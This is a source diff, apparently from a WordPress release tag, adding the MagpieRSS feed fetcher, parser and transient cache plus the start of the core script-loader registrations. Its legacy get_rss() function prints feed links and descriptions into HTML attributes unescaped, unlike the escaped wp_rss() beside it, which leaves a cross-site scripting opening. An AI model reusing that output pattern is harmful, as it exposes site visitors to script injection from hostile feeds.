+			$this->items[] = $this->current_item;
+			$this->current_item = array();
+			$this->initem = false;
+		}
+		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
+		{
+			$this->intextinput = false;
+		}
+		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
+		{
+			$this->inimage = false;
+		}
+		elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
+		{
+			$this->incontent = false;
+		}
+		elseif ($el == 'channel' or $el == 'feed' )
+		{
+			$this->inchannel = false;
+		}
+		elseif ($this->feed_type == ATOM and $this->incontent  ) {
+			// balance tags properly
+			// note: This may not actually be necessary
+			if ( $this->stack[0] == $el )
+			{
+				$this->append_content("</$el>");
+			}
+			else {
+				$this->append_content("<$el />");
+			}
+
+			array_shift( $this->stack );
+		}
+		else {
+			array_shift( $this->stack );
+		}
+
+		$this->current_namespace = false;
+	}
+
+	function concat (&$str1, $str2="") {
+		if (!isset($str1) ) {
+			$str1="";
+		}
+		$str1 .= $str2;
+	}
+
+	function append_content($text) {
+		if ( $this->initem ) {
+			$this->concat( $this->current_item[ $this->incontent ], $text );
+		}
+		elseif ( $this->inchannel ) {
+			$this->concat( $this->channel[ $this->incontent ], $text );
+		}
+	}
+
+	// smart append - field and namespace aware
+	function append($el, $text) {
+		if (!$el) {
+			return;
+		}
+		if ( $this->current_namespace )
+		{
+			if ( $this->initem ) {
+				$this->concat(
+					$this->current_item[ $this->current_namespace ][ $el ], $text);
+			}
+			elseif ($this->inchannel) {
+				$this->concat(
+					$this->channel[ $this->current_namespace][ $el ], $text );
+			}
+			elseif ($this->intextinput) {
+				$this->concat(
+					$this->textinput[ $this->current_namespace][ $el ], $text );
+			}
+			elseif ($this->inimage) {
+				$this->concat(
+					$this->image[ $this->current_namespace ][ $el ], $text );
+			}
+		}
+		else {
+			if ( $this->initem ) {
+				$this->concat(
+					$this->current_item[ $el ], $text);
+			}
+			elseif ($this->intextinput) {
+				$this->concat(
+					$this->textinput[ $el ], $text );
+			}
+			elseif ($this->inimage) {
+				$this->concat(
+					$this->image[ $el ], $text );
+			}
+			elseif ($this->inchannel) {
+				$this->concat(
+					$this->channel[ $el ], $text );
+			}
+
+		}
+	}
+
+	function normalize () {
+		// if atom populate rss fields
+		if ( $this->is_atom() ) {
+			$this->channel['descripton'] = $this->channel['tagline'];
+			for ( $i = 0; $i < count($this->items); $i++) {
+				$item = $this->items[$i];
+				if ( isset($item['summary']) )
+					$item['description'] = $item['summary'];
+				if ( isset($item['atom_content']))
+					$item['content']['encoded'] = $item['atom_content'];
+
+				$this->items[$i] = $item;
+			}
+		}
+		elseif ( $this->is_rss() ) {
+			$this->channel['tagline'] = $this->channel['description'];
+			for ( $i = 0; $i < count($this->items); $i++) {
+				$item = $this->items[$i];
+				if ( isset($item['description']))
+					$item['summary'] = $item['description'];
+				if ( isset($item['content']['encoded'] ) )
+					$item['atom_content'] = $item['content']['encoded'];
+
+				$this->items[$i] = $item;
+			}
+		}
+	}
+
+	function is_rss () {
+		if ( $this->feed_type == RSS ) {
+			return $this->feed_version;
+		}
+		else {
+			return false;
+		}
+	}
+
+	function is_atom() {
+		if ( $this->feed_type == ATOM ) {
+			return $this->feed_version;
+		}
+		else {
+			return false;
+		}
+	}
+
+	function map_attrs($k, $v) {
+		return "$k=\"$v\"";
+	}
+
+	function error( $errormsg, $lvl = E_USER_WARNING ) {
+		// append PHP's error message if track_errors enabled
+		if ( isset($php_errormsg) ) {
+			$errormsg .= " ($php_errormsg)";
+		}
+		if ( MAGPIE_DEBUG ) {
+			trigger_error( $errormsg, $lvl);
+		} else {
+			error_log( $errormsg, 0);
+		}
+	}
+
+}
+
+if ( !function_exists('fetch_rss') ) :
+/**
+ * Build Magpie object based on RSS from URL.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL to retrieve feed
+ * @return bool|MagpieRSS false on failure or MagpieRSS object on success.
+ */
+function fetch_rss ($url) {
+	// initialize constants
+	init();
+
+	if ( !isset($url) ) {
+		// error("fetch_rss called without a url");
+		return false;
+	}
+
+	// if cache is disabled
+	if ( !MAGPIE_CACHE_ON ) {
+		// fetch file, and parse it
+		$resp = _fetch_remote_file( $url );
+		if ( is_success( $resp->status ) ) {
+			return _response_to_rss( $resp );
+		}
+		else {
+			// error("Failed to fetch $url and cache is off");
+			return false;
+		}
+	}
+	// else cache is ON
+	else {
+		// Flow
+		// 1. check cache
+		// 2. if there is a hit, make sure it's fresh
+		// 3. if cached obj fails freshness check, fetch remote
+		// 4. if remote fails, return stale object, or error
+
+		$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );
+
+		if (MAGPIE_DEBUG and $cache->ERROR) {
+			debug($cache->ERROR, E_USER_WARNING);
+		}
+
+		$cache_status 	 = 0;		// response of check_cache
+		$request_headers = array(); // HTTP headers to send with fetch
+		$rss 			 = 0;		// parsed RSS object
+		$errormsg		 = 0;		// errors, if any
+
+		if (!$cache->ERROR) {
+			// return cache HIT, MISS, or STALE
+			$cache_status = $cache->check_cache( $url );
+		}
+
+		// if object cached, and cache is fresh, return cached obj
+		if ( $cache_status == 'HIT' ) {
+			$rss = $cache->get( $url );
+			if ( isset($rss) and $rss ) {
+				$rss->from_cache = 1;
+				if ( MAGPIE_DEBUG > 1) {
+				debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
+			}
+				return $rss;
+			}
+		}
+
+		// else attempt a conditional get
+
+		// set up headers
+		if ( $cache_status == 'STALE' ) {
+			$rss = $cache->get( $url );
+			if ( isset($rss->etag) and $rss->last_modified ) {
+				$request_headers['If-None-Match'] = $rss->etag;
+				$request_headers['If-Last-Modified'] = $rss->last_modified;
+			}
+		}
+
+		$resp = _fetch_remote_file( $url, $request_headers );
+
+		if (isset($resp) and $resp) {
+			if ($resp->status == '304' ) {
+				// we have the most current copy
+				if ( MAGPIE_DEBUG > 1) {
+					debug("Got 304 for $url");
+				}
+				// reset cache on 304 (at minutillo insistent prodding)
+				$cache->set($url, $rss);
+				return $rss;
+			}
+			elseif ( is_success( $resp->status ) ) {
+				$rss = _response_to_rss( $resp );
+				if ( $rss ) {
+					if (MAGPIE_DEBUG > 1) {
+						debug("Fetch successful");
+					}
+					// add object to cache
+					$cache->set( $url, $rss );
+					return $rss;
+				}
+			}
+			else {
+				$errormsg = "Failed to fetch $url. ";
+				if ( $resp->error ) {
+					# compensate for Snoopy's annoying habbit to tacking
+					# on '\n'
+					$http_error = substr($resp->error, 0, -2);
+					$errormsg .= "(HTTP Error: $http_error)";
+				}
+				else {
+					$errormsg .=  "(HTTP Response: " . $resp->response_code .')';
+				}
+			}
+		}
+		else {
+			$errormsg = "Unable to retrieve RSS file for unknown reasons.";
+		}
+
+		// else fetch failed
+
+		// attempt to return cached object
+		if ($rss) {
+			if ( MAGPIE_DEBUG ) {
+				debug("Returning STALE object for $url");
+			}
+			return $rss;
+		}
+
+		// else we totally failed
+		// error( $errormsg );
+
+		return false;
+
+	} // end if ( !MAGPIE_CACHE_ON ) {
+} // end fetch_rss()
+endif;
+
+/**
+ * Retrieve URL headers and content using WP HTTP Request API.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL to retrieve
+ * @param array $headers Optional. Headers to send to the URL.
+ * @return Snoopy style response
+ */
+function _fetch_remote_file($url, $headers = "" ) {
+	$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
+	if ( is_wp_error($resp) ) {
+		$error = array_shift($resp->errors);
+
+		$resp = new stdClass;
+		$resp->status = 500;
+		$resp->response_code = 500;
+		$resp->error = $error[0] . "\n"; //\n = Snoopy compatibility
+		return $resp;
+	}
+
+	// Snoopy returns headers unprocessed.
+	// Also note, WP_HTTP lowercases all keys, Snoopy did not.
+	$return_headers = array();
+	foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
+		if ( !is_array($value) ) {
+			$return_headers[] = "$key: $value";
+		} else {
+			foreach ( $value as $v )
+				$return_headers[] = "$key: $v";
+		}
+	}
+
+	$response = new stdClass;
+	$response->status = wp_remote_retrieve_response_code( $resp );
+	$response->response_code = wp_remote_retrieve_response_code( $resp );
+	$response->headers = $return_headers;
+	$response->results = wp_remote_retrieve_body( $resp );
+
+	return $response;
+}
+
+/**
+ * Retrieve
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param array $resp
+ * @return MagpieRSS|bool
+ */
+function _response_to_rss ($resp) {
+	$rss = new MagpieRSS( $resp->results );
+
+	// if RSS parsed successfully
+	if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {
+
+		// find Etag, and Last-Modified
+		foreach( (array) $resp->headers as $h) {
+			// 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
+			if (strpos($h, ": ")) {
+				list($field, $val) = explode(": ", $h, 2);
+			}
+			else {
+				$field = $h;
+				$val = "";
+			}
+
+			if ( $field == 'etag' ) {
+				$rss->etag = $val;
+			}
+
+			if ( $field == 'last-modified' ) {
+				$rss->last_modified = $val;
+			}
+		}
+
+		return $rss;
+	} // else construct error message
+	else {
+		$errormsg = "Failed to parse RSS file.";
+
+		if ($rss) {
+			$errormsg .= " (" . $rss->ERROR . ")";
+		}
+		// error($errormsg);
+
+		return false;
+	} // end if ($rss and !$rss->error)
+}
+
+/**
+ * Set up constants with default values, unless user overrides.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ */
+function init () {
+	if ( defined('MAGPIE_INITALIZED') ) {
+		return;
+	}
+	else {
+		define('MAGPIE_INITALIZED', 1);
+	}
+
+	if ( !defined('MAGPIE_CACHE_ON') ) {
+		define('MAGPIE_CACHE_ON', 1);
+	}
+
+	if ( !defined('MAGPIE_CACHE_DIR') ) {
+		define('MAGPIE_CACHE_DIR', './cache');
+	}
+
+	if ( !defined('MAGPIE_CACHE_AGE') ) {
+		define('MAGPIE_CACHE_AGE', 60*60); // one hour
+	}
+
+	if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
+		define('MAGPIE_CACHE_FRESH_ONLY', 0);
+	}
+
+		if ( !defined('MAGPIE_DEBUG') ) {
+		define('MAGPIE_DEBUG', 0);
+	}
+
+	if ( !defined('MAGPIE_USER_AGENT') ) {
+		$ua = 'WordPress/' . $GLOBALS['wp_version'];
+
+		if ( MAGPIE_CACHE_ON ) {
+			$ua = $ua . ')';
+		}
+		else {
+			$ua = $ua . '; No cache)';
+		}
+
+		define('MAGPIE_USER_AGENT', $ua);
+	}
+
+	if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
+		define('MAGPIE_FETCH_TIME_OUT', 2);	// 2 second timeout
+	}
+
+	// use gzip encoding to fetch rss files if supported?
+	if ( !defined('MAGPIE_USE_GZIP') ) {
+		define('MAGPIE_USE_GZIP', true);
+	}
+}
+
+function is_info ($sc) {
+	return $sc >= 100 && $sc < 200;
+}
+
+function is_success ($sc) {
+	return $sc >= 200 && $sc < 300;
+}
+
+function is_redirect ($sc) {
+	return $sc >= 300 && $sc < 400;
+}
+
+function is_error ($sc) {
+	return $sc >= 400 && $sc < 600;
+}
+
+function is_client_error ($sc) {
+	return $sc >= 400 && $sc < 500;
+}
+
+function is_server_error ($sc) {
+	return $sc >= 500 && $sc < 600;
+}
+
+class RSSCache {
+	var $BASE_CACHE;	// where the cache files are stored
+	var $MAX_AGE	= 43200;  		// when are files stale, default twelve hours
+	var $ERROR 		= '';			// accumulate error messages
+
+	function RSSCache ($base='', $age='') {
+		$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
+		if ( $base ) {
+			$this->BASE_CACHE = $base;
+		}
+		if ( $age ) {
+			$this->MAX_AGE = $age;
+		}
+
+	}
+
+/*=======================================================================*\
+	Function:	set
+	Purpose:	add an item to the cache, keyed on url
+	Input:		url from wich the rss file was fetched
+	Output:		true on success
+\*=======================================================================*/
+	function set ($url, $rss) {
+		$cache_option = 'rss_' . $this->file_name( $url );
+
+		set_transient($cache_option, $rss, $this->MAX_AGE);
+
+		return $cache_option;
+	}
+
+/*=======================================================================*\
+	Function:	get
+	Purpose:	fetch an item from the cache
+	Input:		url from wich the rss file was fetched
+	Output:		cached object on HIT, false on MISS
+\*=======================================================================*/
+	function get ($url) {
+		$this->ERROR = "";
+		$cache_option = 'rss_' . $this->file_name( $url );
+
+		if ( ! $rss = get_transient( $cache_option ) ) {
+			$this->debug(
+				"Cache doesn't contain: $url (cache option: $cache_option)"
+			);
+			return 0;
+		}
+
+		return $rss;
+	}
+
+/*=======================================================================*\
+	Function:	check_cache
+	Purpose:	check a url for membership in the cache
+				and whether the object is older then MAX_AGE (ie. STALE)
+	Input:		url from wich the rss file was fetched
+	Output:		cached object on HIT, false on MISS
+\*=======================================================================*/
+	function check_cache ( $url ) {
+		$this->ERROR = "";
+		$cache_option = 'rss_' . $this->file_name( $url );
+
+		if ( get_transient($cache_option) ) {
+			// object exists and is current
+				return 'HIT';
+		} else {
+			// object does not exist
+			return 'MISS';
+		}
+	}
+
+/*=======================================================================*\
+	Function:	serialize
+\*=======================================================================*/
+	function serialize ( $rss ) {
+		return serialize( $rss );
+	}
+
+/*=======================================================================*\
+	Function:	unserialize
+\*=======================================================================*/
+	function unserialize ( $data ) {
+		return unserialize( $data );
+	}
+
+/*=======================================================================*\
+	Function:	file_name
+	Purpose:	map url to location in cache
+	Input:		url from wich the rss file was fetched
+	Output:		a file name
+\*=======================================================================*/
+	function file_name ($url) {
+		return md5( $url );
+	}
+
+/*=======================================================================*\
+	Function:	error
+	Purpose:	register error
+\*=======================================================================*/
+	function error ($errormsg, $lvl=E_USER_WARNING) {
+		// append PHP's error message if track_errors enabled
+		if ( isset($php_errormsg) ) {
+			$errormsg .= " ($php_errormsg)";
+		}
+		$this->ERROR = $errormsg;
+		if ( MAGPIE_DEBUG ) {
+			trigger_error( $errormsg, $lvl);
+		}
+		else {
+			error_log( $errormsg, 0);
+		}
+	}
+			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
+		if ( MAGPIE_DEBUG ) {
+			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
+		}
+	}
+}
+
+if ( !function_exists('parse_w3cdtf') ) :
+function parse_w3cdtf ( $date_str ) {
+
+	# regex to match wc3dtf
+	$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";
+
+	if ( preg_match( $pat, $date_str, $match ) ) {
+		list( $year, $month, $day, $hours, $minutes, $seconds) =
+			array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);
+
+		# calc epoch for current date assuming GMT
+		$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);
+
+		$offset = 0;
+		if ( $match[11] == 'Z' ) {
+			# zulu time, aka GMT
+		}
+		else {
+			list( $tz_mod, $tz_hour, $tz_min ) =
+				array( $match[8], $match[9], $match[10]);
+
+			# zero out the variables
+			if ( ! $tz_hour ) { $tz_hour = 0; }
+			if ( ! $tz_min ) { $tz_min = 0; }
+
+			$offset_secs = (($tz_hour*60)+$tz_min)*60;
+
+			# is timezone ahead of GMT?  then subtract offset
+			#
+			if ( $tz_mod == '+' ) {
+				$offset_secs = $offset_secs * -1;
+			}
+
+			$offset = $offset_secs;
+		}
+		$epoch = $epoch + $offset;
+		return $epoch;
+	}
+	else {
+		return -1;
+	}
+}
+endif;
+
+if ( !function_exists('wp_rss') ) :
+/**
+ * Display all RSS items in a HTML ordered list.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL of feed to display. Will not auto sense feed URL.
+ * @param int $num_items Optional. Number of items to display, default is all.
+ */
+function wp_rss( $url, $num_items = -1 ) {
+	if ( $rss = fetch_rss( $url ) ) {
+		echo '<ul>';
+
+		if ( $num_items !== -1 ) {
+			$rss->items = array_slice( $rss->items, 0, $num_items );
+		}
+
+		foreach ( (array) $rss->items as $item ) {
+			printf(
+				'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
+				esc_url( $item['link'] ),
+				esc_attr( strip_tags( $item['description'] ) ),
+				esc_html( $item['title'] )
+			);
+		}
+
+		echo '</ul>';
+	} else {
+		_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
+	}
+}
+endif;
+
+if ( !function_exists('get_rss') ) :
+/**
+ * Display RSS items in HTML list items.
+ *
+ * You have to specify which HTML list you want, either ordered or unordered
+ * before using the function. You also have to specify how many items you wish
+ * to display. You can't display all of them like you can with wp_rss()
+ * function.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL of feed to display. Will not auto sense feed URL.
+ * @param int $num_items Optional. Number of items to display, default is all.
+ * @return bool False on failure.
+ */
+function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS
+	$rss = fetch_rss($url);
+	if ( $rss ) {
+		$rss->items = array_slice($rss->items, 0, $num_items);
+		foreach ( (array) $rss->items as $item ) {
+			echo "<li>\n";
+			echo "<a href='$item[link]' title='$item[description]'>";
+			echo esc_html($item['title']);
+			echo "</a><br />\n";
+			echo "</li>\n";
+		}
+	} else {
+		return false;
+	}
+}
+endif;
Index: /tags/4.1.6/src/wp-includes/script-loader.php
===================================================================
--- /tags/4.1.6/src/wp-includes/script-loader.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/script-loader.php	(revision 33402)
@@ -0,0 +1,1046 @@
+<?php
+/**
+ * WordPress scripts and styles default loader.
+ *
+ * Most of the functionality that existed here was moved to
+ * {@link http://backpress.automattic.com/ BackPress}. WordPress themes and
+ * plugins will only be concerned about the filters and actions set in this
+ * file.
+ *
+ * Several constants are used to manage the loading, concatenating and compression of scripts and CSS:
+ * define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and CSS, and disables compression and concatenation,
+ * define('CONCATENATE_SCRIPTS', false); disables compression and concatenation of scripts and CSS,
+ * define('COMPRESS_SCRIPTS', false); disables compression of scripts,
+ * define('COMPRESS_CSS', false); disables compression of CSS,
+ * define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate).
+ *
+ * The globals $concatenate_scripts, $compress_scripts and $compress_css can be set by plugins
+ * to temporarily override the above settings. Also a compression test is run once and the result is saved
+ * as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted.
+ *
+ * @package WordPress
+ */
+
+/** BackPress: WordPress Dependencies Class */
+require( ABSPATH . WPINC . '/class.wp-dependencies.php' );
+
+/** BackPress: WordPress Scripts Class */
+require( ABSPATH . WPINC . '/class.wp-scripts.php' );
+
+/** BackPress: WordPress Scripts Functions */
+require( ABSPATH . WPINC . '/functions.wp-scripts.php' );
+
+/** BackPress: WordPress Styles Class */
+require( ABSPATH . WPINC . '/class.wp-styles.php' );
+
+/** BackPress: WordPress Styles Functions */
+require( ABSPATH . WPINC . '/functions.wp-styles.php' );
+
+/**
+ * Register all WordPress scripts.
+ *
+ * Localizes some of them.
+ * args order: $scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );
+ * when last arg === 1 queues the script for the footer
+ *
+ * @since 2.6.0
+ *
+ * @param object $scripts WP_Scripts object.
+ */
+function wp_default_scripts( &$scripts ) {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	$develop_src = false !== strpos( $wp_version, '-src' );
+
+	if ( ! defined( 'SCRIPT_DEBUG' ) ) {
+		define( 'SCRIPT_DEBUG', $develop_src );
+	}
+
+	if ( ! $guessurl = site_url() ) {
+		$guessed_url = true;
+		$guessurl = wp_guess_url();
+	}
+
+	$scripts->base_url = $guessurl;
+	$scripts->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : '';
+	$scripts->default_version = get_bloginfo( 'version' );
+	$scripts->default_dirs = array('/wp-admin/js/', '/wp-includes/js/');
+
+	$suffix = SCRIPT_DEBUG ? '' : '.min';
+	$dev_suffix = $develop_src ? '' : '.min';
+
+	$scripts->add( 'utils', "/wp-includes/js/utils$suffix.js" );
+	did_action( 'init' ) && $scripts->localize( 'utils', 'userSettings', array(
+		'url' => (string) SITECOOKIEPATH,
+		'uid' => (string) get_current_user_id(),
+		'time' => (string) time(),
+		'secure' => (string) ( 'https' === parse_url( site_url(), PHP_URL_SCHEME ) ),
+	) );
+
+	$scripts->add( 'common', "/wp-admin/js/common$suffix.js", array('jquery', 'hoverIntent', 'utils'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'common', 'commonL10n', array(
+		'warnDelete' => __("You are about to permanently delete the selected items.\n  'Cancel' to stop, 'OK' to delete.")
+	) );
+
+	$scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 );
+
+	$scripts->add( 'quicktags', "/wp-includes/js/quicktags$suffix.js", array(), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'quicktags', 'quicktagsL10n', array(
+		'closeAllOpenTags'      => esc_attr__( 'Close all open tags' ),
+		'closeTags'             => esc_attr__( 'close tags' ),
+		'enterURL'              => __( 'Enter the URL' ),
+		'enterImageURL'         => __( 'Enter the URL of the image' ),
+		'enterImageDescription' => __( 'Enter a description of the image' ),
+		'fullscreen'            => __( 'fullscreen' ),
+		'toggleFullscreen'      => esc_attr__( 'Toggle fullscreen mode' ),
+		'textdirection'         => esc_attr__( 'text direction' ),
+		'toggleTextdirection'   => esc_attr__( 'Toggle Editor Text Direction' ),
+		'dfw'                   => esc_attr__( 'Distraction-free writing mode' )
+	) );
+
+	$scripts->add( 'colorpicker', "/wp-includes/js/colorpicker$suffix.js", array('prototype'), '3517m' );
+
+	$scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 );
+
+	$scripts->add( 'wp-fullscreen', "/wp-admin/js/wp-fullscreen$suffix.js", array('jquery'), false, 1 );
+
+	$scripts->add( 'wp-ajax-response', "/wp-includes/js/wp-ajax-response$suffix.js", array('jquery'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-ajax-response', 'wpAjax', array(
+		'noPerm' => __('You do not have permission to do that.'),
+		'broken' => __('An unidentified error has occurred.')
+	) );
+
+	$scripts->add( 'wp-pointer', "/wp-includes/js/wp-pointer$suffix.js", array( 'jquery-ui-widget', 'jquery-ui-position' ), '20111129a', 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-pointer', 'wpPointerL10n', array(
+		'dismiss' => __('Dismiss'),
+	) );
+
+	$scripts->add( 'autosave', "/wp-includes/js/autosave$suffix.js", array('heartbeat'), false, 1 );
+
+	$scripts->add( 'heartbeat', "/wp-includes/js/heartbeat$suffix.js", array('jquery'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'heartbeat', 'heartbeatSettings',
+		/**
+		 * Filter the Heartbeat settings.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array $settings Heartbeat settings array.
+		 */
+		apply_filters( 'heartbeat_settings', array() )
+	);
+
+	$scripts->add( 'wp-auth-check', "/wp-includes/js/wp-auth-check$suffix.js", array('heartbeat'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-auth-check', 'authcheckL10n', array(
+		'beforeunload' => __('Your session has expired. You can log in again from this page or go to the login page.'),
+
+		/**
+		 * Filter the authentication check interval.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param int $interval The interval in which to check a user's authentication.
+		 *                      Default 3 minutes in seconds, or 180.
+		 */
+		'interval' => apply_filters( 'wp_auth_check_interval', 3 * MINUTE_IN_SECONDS ),
+	) );
+
+	$scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array( 'wp-ajax-response', 'jquery-color' ), false, 1 );
+
+	// WordPress no longer uses or bundles Prototype or script.aculo.us. These are now pulled from an external source.
+	$scripts->add( 'prototype', '//ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js', array(), '1.7.1');
+	$scripts->add( 'scriptaculous-root', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js', array('prototype'), '1.9.0');
+	$scripts->add( 'scriptaculous-builder', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/builder.js', array('scriptaculous-root'), '1.9.0');
+	$scripts->add( 'scriptaculous-dragdrop', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/dragdrop.js', array('scriptaculous-builder', 'scriptaculous-effects'), '1.9.0');
+	$scripts->add( 'scriptaculous-effects', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js', array('scriptaculous-root'), '1.9.0');
+	$scripts->add( 'scriptaculous-slider', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/slider.js', array('scriptaculous-effects'), '1.9.0');
+	$scripts->add( 'scriptaculous-sound', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/sound.js', array( 'scriptaculous-root' ), '1.9.0' );
+	$scripts->add( 'scriptaculous-controls', '//ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/controls.js', array('scriptaculous-root'), '1.9.0');
+	$scripts->add( 'scriptaculous', false, array('scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls') );
+
+	// not used in core, replaced by Jcrop.js
+	$scripts->add( 'cropper', '/wp-includes/js/crop/cropper.js', array('scriptaculous-dragdrop') );
+
+	// jQuery
+	$scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ), '1.11.1' );
+	$scripts->add( 'jquery-core', '/wp-includes/js/jquery/jquery.js', array(), '1.11.1' );
+	$scripts->add( 'jquery-migrate', "/wp-includes/js/jquery/jquery-migrate$suffix.js", array(), '1.2.1' );
+
+	// full jQuery UI
+	$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$dev_suffix.js", array('jquery'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$dev_suffix.js", array('jquery'), '1.11.2', 1 );
+
+	$scripts->add( 'jquery-effects-blind', "/wp-includes/js/jquery/ui/effect-blind$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-bounce', "/wp-includes/js/jquery/ui/effect-bounce$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-clip', "/wp-includes/js/jquery/ui/effect-clip$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-drop', "/wp-includes/js/jquery/ui/effect-drop$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-explode', "/wp-includes/js/jquery/ui/effect-explode$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-fade', "/wp-includes/js/jquery/ui/effect-fade$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-fold', "/wp-includes/js/jquery/ui/effect-fold$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-highlight', "/wp-includes/js/jquery/ui/effect-highlight$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-puff', "/wp-includes/js/jquery/ui/effect-puff$dev_suffix.js", array('jquery-effects-core', 'jquery-effects-scale'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-pulsate', "/wp-includes/js/jquery/ui/effect-pulsate$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-scale', "/wp-includes/js/jquery/ui/effect-scale$dev_suffix.js", array('jquery-effects-core', 'jquery-effects-size'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-shake', "/wp-includes/js/jquery/ui/effect-shake$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-size', "/wp-includes/js/jquery/ui/effect-size$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-slide', "/wp-includes/js/jquery/ui/effect-slide$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-effects-transfer', "/wp-includes/js/jquery/ui/effect-transfer$dev_suffix.js", array('jquery-effects-core'), '1.11.2', 1 );
+
+	$scripts->add( 'jquery-ui-accordion', "/wp-includes/js/jquery/ui/accordion$dev_suffix.js", array('jquery-ui-core', 'jquery-ui-widget'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-autocomplete', "/wp-includes/js/jquery/ui/autocomplete$dev_suffix.js", array('jquery-ui-menu'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-button', "/wp-includes/js/jquery/ui/button$dev_suffix.js", array('jquery-ui-core', 'jquery-ui-widget'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-datepicker', "/wp-includes/js/jquery/ui/datepicker$dev_suffix.js", array('jquery-ui-core'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-dialog', "/wp-includes/js/jquery/ui/dialog$dev_suffix.js", array('jquery-ui-resizable', 'jquery-ui-draggable', 'jquery-ui-button', 'jquery-ui-position'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-draggable', "/wp-includes/js/jquery/ui/draggable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-droppable', "/wp-includes/js/jquery/ui/droppable$dev_suffix.js", array('jquery-ui-draggable'), '1.11.2', 1 );
